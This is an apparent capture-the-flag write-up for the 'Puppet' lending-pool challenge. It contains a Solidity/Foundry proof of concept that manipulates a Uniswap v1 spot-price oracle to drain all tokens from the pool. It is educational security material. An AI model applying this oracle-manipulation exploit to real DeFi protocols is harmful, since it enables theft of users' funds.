✅Puppet

Description

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.

TL;DR

The price oracle is susceptible to manipulation attack. Attack is given huge amount of dvt tokens and ETH compared to the uniswap v1 pool, so it is easy to manipulate the price.

Code Audit

Price oracle manipulation:

    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return (uniswapPair.balance * (10 ** 18)) / token.balanceOf(uniswapPair);
    }

If we increase the dvt reserve in the pool then this price will decrease. That is, we can swap dvt for ETH using the function uniswapExchange.tokenToEthSwapInput():

Exchange | Uniswapdocs.uniswap.org

Note that we hold more dvt and more ETH than the uniswap pool:

    uint256 internal constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
    uint256 internal constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;

    uint256 internal constant ATTACKER_INITIAL_TOKEN_BALANCE = 1_000e18;
    uint256 internal constant ATTACKER_INITIAL_ETH_BALANCE = 25e18;
    uint256 internal constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;
    uint256 internal constant DEADLINE = 10_000_000;

Therefore we don't even need flashloan in this chall.

Building PoC

This PoC just passes all the assertion and it is far from being optimized.

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {PuppetPool} from "../../../src/Contracts/puppet/PuppetPool.sol";

interface UniswapV1Exchange {
    function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline)
        external
        payable
        returns (uint256);

    function balanceOf(address _owner) external view returns (uint256);

    function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);

    function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256);
}

interface UniswapV1Factory {
    function initializeFactory(address template) external;

    function createExchange(address token) external returns (address);
}

contract Puppet is Test {
    // Uniswap exchange will start with 10 DVT and 10 ETH in liquidity
    uint256 internal constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
    uint256 internal constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;

    uint256 internal constant ATTACKER_INITIAL_TOKEN_BALANCE = 1_000e18;
    uint256 internal constant ATTACKER_INITIAL_ETH_BALANCE = 25e18;
    uint256 internal constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;
    uint256 internal constant DEADLINE = 10_000_000;

    UniswapV1Exchange internal uniswapV1ExchangeTemplate;
    UniswapV1Exchange internal uniswapExchange;
    UniswapV1Factory internal uniswapV1Factory;

    DamnValuableToken internal dvt;
    PuppetPool internal puppetPool;
    address payable internal attacker;

    function setUp() public {
        /**
         * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE
         */
        attacker = payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker"))))));
        vm.label(attacker, "Attacker");
        vm.deal(attacker, ATTACKER_INITIAL_ETH_BALANCE);

        // Deploy token to be traded in Uniswap
        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        uniswapV1Factory = UniswapV1Factory(deployCode("./src/build-uniswap/v1/UniswapV1Factory.json"));

        // Deploy a exchange that will be used as the factory template
        uniswapV1ExchangeTemplate = UniswapV1Exchange(deployCode("./src/build-uniswap/v1/UniswapV1Exchange.json"));

        // Deploy factory, initializing it with the address of the template exchange
        uniswapV1Factory.initializeFactory(address(uniswapV1ExchangeTemplate));

        uniswapExchange = UniswapV1Exchange(uniswapV1Factory.createExchange(address(dvt)));

        vm.label(address(uniswapExchange), "Uniswap Exchange");

        // Deploy the lending pool
        puppetPool = new PuppetPool(address(dvt), address(uniswapExchange));
        vm.label(address(puppetPool), "Puppet Pool");

        // Add initial token and ETH liquidity to the pool
        dvt.approve(address(uniswapExchange), UNISWAP_INITIAL_TOKEN_RESERVE);
        uniswapExchange.addLiquidity{value: UNISWAP_INITIAL_ETH_RESERVE}(
            0, // min_liquidity
            UNISWAP_INITIAL_TOKEN_RESERVE, // max_tokens
            DEADLINE // deadline
        );

        // Ensure Uniswap exchange is working as expected
        assertEq(
            uniswapExchange.getTokenToEthInputPrice(1 ether),
            calculateTokenToEthInputPrice(1 ether, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE)
        );

        // Setup initial token balances of pool and attacker account
        dvt.transfer(attacker, ATTACKER_INITIAL_TOKEN_BALANCE);
        dvt.transfer(address(puppetPool), POOL_INITIAL_TOKEN_BALANCE);

        // Ensure correct setup of pool.
        assertEq(puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE), POOL_INITIAL_TOKEN_BALANCE * 2);

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
        */
        vm.startPrank(attacker);
        console.log("Attacker's dvt balance before swap: ", dvt.balanceOf(attacker));
        console.log("Attacker's ETH balance before swap: ", attacker.balance);

        dvt.approve(address(uniswapExchange), type(uint256).max);
        uniswapExchange.tokenToEthSwapInput(
            dvt.balanceOf(attacker),
            1 ether,
            block.timestamp + 5 days
        );

        console.log("Attacker's dvt balance after swap: ", dvt.balanceOf(attacker));
        console.log("Attacker's ETH balance after swap: ", attacker.balance);

        uint256 poolBalance = dvt.balanceOf(address(puppetPool));
        uint256 depositRequired = puppetPool.calculateDepositRequired(poolBalance);
        puppetPool.borrow{value: depositRequired}(poolBalance);

        console.log("Attacker's dvt balance after borrow: ", dvt.balanceOf(attacker));
        console.log("Attacker's ETH balance after borrow: ", attacker.balance);

        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
    }

    function validation() internal {
        // Attacker has taken all tokens from the pool
        assertGe(dvt.balanceOf(attacker), POOL_INITIAL_TOKEN_BALANCE);
        assertEq(dvt.balanceOf(address(puppetPool)), 0);
    }

    // Calculates how much ETH (in wei) Uniswap will pay for the given amount of tokens
    function calculateTokenToEthInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve)
        internal
        returns (uint256)
    {
        uint256 input_amount_with_fee = input_amount * 997;
        uint256 numerator = input_amount_with_fee * output_reserve;
        uint256 denominator = (input_reserve * 1000) + input_amount_with_fee;
        return numerator / denominator;
    }
}